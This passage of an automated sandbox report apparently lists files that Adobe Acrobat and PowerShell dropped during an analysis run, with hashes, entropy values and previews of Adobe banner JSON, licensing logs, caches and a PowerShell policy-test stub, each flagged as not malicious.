SHA-512:	2D01A5AF9F063FAD262FB948765D01DD539FA8DC59C34EB7B568A7E407C67491C57B18BBF3A5F4639FDBE60EE96D51D0CAC2A6AE5AB4E82ABF75590D21A5F8AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314966211188285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfYdPeUkwRe9:YvXKXFA9rT5LjIPDGg8Ukee9
MD5:	A6905B5FA7BA397235B8E16BAD4C3CBA
SHA1:	324DDC9A847FBA55EC62D5315494D3278E6BE984
SHA-256:	CB229C4E3124CE40BA4E79502C8CA4CBE2F1C8EB577B2E786B447D5C60E9A2ED
SHA-512:	6272CD7980777B866928E6FCD6B8835B576982DF62599A13D0C8E33306180F5D120D350B6D6CC478D85F9839E6F678C526D643CDB67FB21803655F4DEE00A4B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.300962372111713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJf+dPeUkwRe9:YvXKXFA9rT5LjIPDG28Ukee9
MD5:	596955DF9DF274B3770959E3800CFCCD
SHA1:	40B33B97B820EB8C9AEBA5C9A50A52260626871F
SHA-256:	1E0B88A9D0143EF50BE95B1B9144480976B9A9F11A390C91F9346A09A18C5A76
SHA-512:	B63A1AB0FB2321220D7B3E7EA6AE94A9E87B61382CBF3EC6F19BC957CE3B10C735E7389F44B75D8B2ED277C091487DEE9EEC23EACCC48F68C2FB7327CB648ACE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.298410448304154
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfbPtdPeUkwRe9:YvXKXFA9rT5LjIPDGDV8Ukee9
MD5:	6DC829E6F5E997417D5D182143A53438
SHA1:	EF6F3DB15C287975A3DEA9CB5AD0BB5C5C3E255B
SHA-256:	E8BD1ED214172D0E2432394D2DD6B968D5461301178C75EA2FD72702FE1ECBA0
SHA-512:	82074E7A036F92DA49918CC868E6BB6E736812A7800E40A9DBACFBEBA6726D0095372EB6FCFE95F1CD8E52AF1623EE27F7DAE891C622142B344C1F51F08AF4AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290987776729697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJf21rPeUkwRe9:YvXKXFA9rT5LjIPDG+16Ukee9
MD5:	8A0D816C62642E5F88D1753ACA34420F
SHA1:	91018772A21BB0A7BF8E670573BAE3FB5468F1AD
SHA-256:	42B5E773BC111A79C08102BDAE67B8372CD3A59B9BC7FF44BCD3BDF32BA8BDBF
SHA-512:	8BEA09AD8DCA7198EE18878D962FBA084C1BBD8BB3B9BD144154E62344E6334F508D9D293DDDE346457EAC204DB1E374A122230AD12390FBEFD0766FDA643F03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.673277013095028
Encrypted:	false
SSDEEP:	24:Yv6XIrT5XIkamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:YvNXZBgkDMUJUAh8cvM5
MD5:	81E396804937249128E6EE604EE2464C
SHA1:	1CC4853421675506E6A09680E1D538525F433CB6
SHA-256:	02AD2B54600CD820B6EC0FACF4BEA3D22D3ECA95ABC8A872C85773FC0981444E
SHA-512:	45DC9BBF8B1E4CFCC3285B73CCB8F4C1583E37E2162EAE25CAC1DEB9E33B55F571A410E2B1DF315D2977CC27BED3BE5826EA821B74E9AA9C1DE3E11E9680A325
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266159501033824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfshHHrPeUkwRe9:YvXKXFA9rT5LjIPDGUUUkee9
MD5:	C676C878F0646A581A0D5393C3AB5995
SHA1:	FF65694953C8672092DB4B7DB867E3A7E92A34B9
SHA-256:	E88A47133913ED239CF8A8526E32B4CCF4E46BE266CF9390E10A8CC2BF45ECBF
SHA-512:	05CEE8C0C0667029554D7F765FA7B390EC8CCDE0EA6A57A2AD948A105414343458B4E6A4E7E5C9722ED7E223296AF2F24A9119FC3E8E0AAB907267AC1019AAE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262230082734312
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJTqgFCrPeUkwRe9:YvXKXFA9rT5LjIPDGTq16Ukee9
MD5:	63E1CC38040CC5EFBAB2FFC04AA8328C
SHA1:	24DC115FE63A1781A5B72D08C220334D1A643CC2
SHA-256:	9AAFC5AC620D8A764DE787D99B8B7A8E56764743B233EC441DB97089F05DECF8
SHA-512:	39868A6214DF8C9596AA078FAF10016565CCBCC97759ECDE9A06C02824EDD4486B9988DA5F617B959AEBC096F1AD09D6764BC1FDDAB7BF1E48354CDFFEB1B762
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142170289304706
Encrypted:	false
SSDEEP:	24:YKA17a4mayvfyl4vrMYnZMBaiFjJvcj0S3RCoH2v/2LSpCCKnMID0L705Cfo79+1:YR6fuqrMjXJmZujDKMIDoIYe9u
MD5:	A7844D86C71825EB914515FF4EF10C6C
SHA1:	AF875385E55D4C2820ED4676487617D7E96D0034
SHA-256:	80EDA276C55AC4EB5C26BFBB932A774C1A8AB8DA3A0FA08121E30A2AAC020FA2
SHA-512:	B7A49D07C2B5E406BFBE407C43E4C134121C1E8A6EB9CD037F0AAA7197DD3CF18AA9FB67155D3D98D3BAEB8FDB675F044BA04BFA0488747B04A348E09AD76FEB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"830633953ebcb1125ebfe7fa2382bd05","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736522734000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"95f39ce74818a96ffefa0195999f0594","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736522734000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8a8f66881cc9d522842e1da9ef35ce40","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736522734000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cec7c298744b7828efb473063b646aa8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736522734000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8ae5effe3f5722ff05f47d25ec51f5a1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736522734000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"13a264e584e23733d95059094d6881e5","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3677265589114833
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuiDGJXKdqEKfS8EKfM1baqDGJF:Tll2GL7msMcKTlS8fcsu+fIT
MD5:	0F8C12DF312ACB5CFA2B6480CAF1EB4F
SHA1:	0958EBD8083B6D1108BB45BF6CB159D7C030E572
SHA-256:	1DE02146CD65C3F405FB4AF8FF7CF747E600D4C5D440920D928E9933D89E27B2
SHA-512:	4FF3AF82296CC7C58A69D2DFAA2E249CCADE1C4C74DC923D00AAFFCC7531AC1B401B96442419AE6BA08F921E02BDEE9210875C1DEB5813E9F0ED7B0AC7CB3ED9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8416180790438548
Encrypted:	false
SSDEEP:	24:7+tCZ6bqyKn6ylSTofcNqDuiDGJ+KdqEKfS8EKfM1banbqrWWqLKufx/XYKQvGJ3:7MIcKTlS8fcsuLfIWRqGufl2GL7msR
MD5:	34E0CA2D8F10B5539DAFACC42160B4B5
SHA1:	2A758B9058437B05E361AD2949665A47ED8A25DF
SHA-256:	3B16BC25C39FD91FE0F4D22A92588C6BA5568317F2F12E9F7E9DAB66FECBF0F5
SHA-512:	11FF35C4C5AA1266EA6F9122DBD8FA60088DAC9CF9E914AA3D49A25458C5C633358596E25147F918575451AC69A2BA2F6A9C6D768D1843AF89562891413063FD
Malicious:	false
Preview:	.... .c.......H...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwFBxMiFXl4UtiNeI2HgH1KkaxgYyu:6a6TZ44ADEgNBlvIpokaOK
MD5:	4184F81C587E36B1ED9ECA5D0DC6B19F
SHA1:	3DA71FC9C1158B96455F8ECF405BCB01B154D318
SHA-256:	F85A5ECB4795983B70AC7A262E59ACEC2933E38A5EDE9AB4FC066CC97B6B0525
SHA-512:	8F55F7DC732B8EE2D4C77799DCBAD1B4D3B9BD1DBC38B68D91F07C1E5B9DE956E2D4DBC202D07AF659FA853E9B1748EAAB2A42CA0E06FBD61A4F46283E3560DF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSId1dc4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEdNjRl:Qw946cPbiOxDlbYnuRK+bDjj
MD5:	7B7218CD92BB5BC80F0C9102A883CB03
SHA1:	5D9C59A1C27796E313FE0F5B85CE3D065A08777A
SHA-256:	6972B8F4E4F27CBB0042A415ECA818021A524028306F6122037E7EDC3F90D5B5
SHA-512:	73AD7DA75749A0C2BE5285E999F90FC7BBE07FEC6C937F5A6D59779410C4B4C9AC8511F408B462D435D30E3C03893051407FBC523F867D43A51B33D610097D30
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.0.:.2.5.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1k2lsvgz.jb2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1tlc14m.45m.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 10-25-28-437.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3615149417272585
Encrypted:	false
SSDEEP:	384:QESxVHs3LUtLcy+CRuOqmQ6v7UBDgJ8SrAMwWKmkE4Jp6Pfk+ja+3W3WfdnaE99o:za+
MD5:	C6B951D81FF16BB1C3C2E037E980F640
SHA1:	5B098F3967B74ABAF74257DEFDC2C603790559ED
SHA-256:	1CAA08F0F5A77329A6CD12998C34F9D822956D4D4461EAF0ED6C6D073C4FFAFD
SHA-512:	79D2EFC3CEA993DCCDE550DEAA62B7707DAFCEF22C8B875F48B4C6FFBE897DE1F493824E95B0FEB669BD8F8B8495DD3D5756FBE9527595C4E8017D7FE302A171
Malicious:	false
Preview:	SessionID=058beb38-403a-4dc9-8d08-6c8107dbf4a5.1736522728466 Timestamp=2025-01-10T10:25:28:466-0500 ThreadID=7184 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=058beb38-403a-4dc9-8d08-6c8107dbf4a5.1736522728466 Timestamp=2025-01-10T10:25:28:485-0500 ThreadID=7184 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=058beb38-403a-4dc9-8d08-6c8107dbf4a5.1736522728466 Timestamp=2025-01-10T10:25:28:485-0500 ThreadID=7184 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=058beb38-403a-4dc9-8d08-6c8107dbf4a5.1736522728466 Timestamp=2025-01-10T10:25:28:485-0500 ThreadID=7184 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=058beb38-403a-4dc9-8d08-6c8107dbf4a5.1736522728466 Timestamp=2025-01-10T10:25:28:486-0500 ThreadID=7184 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.376013313582877
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmGScb4ICGcbZ:8qnXopZ50rq9C9
MD5:	283C41D3F2DC921D73B2E0A1F851FEA1
SHA1:	2B9CC48942CA16A3314273CA0B9BF73E5179D74E
SHA-256:	7748B9AC2D43918EA38A6E577FD5D018182A19436A5F18F6D9D34DDF5609080F
SHA-512:	63E13E1A91B36DBF653BD9EF0FD017BDAFA5E8127FFCD674F15CEF59221E908C7FF4C1169D2758B4C95C92347FADD870F1C22220E44C3AA5CD346A2DDCFD7C61
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\402696f8-8306-4fb7-ad93-d260cf05525c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
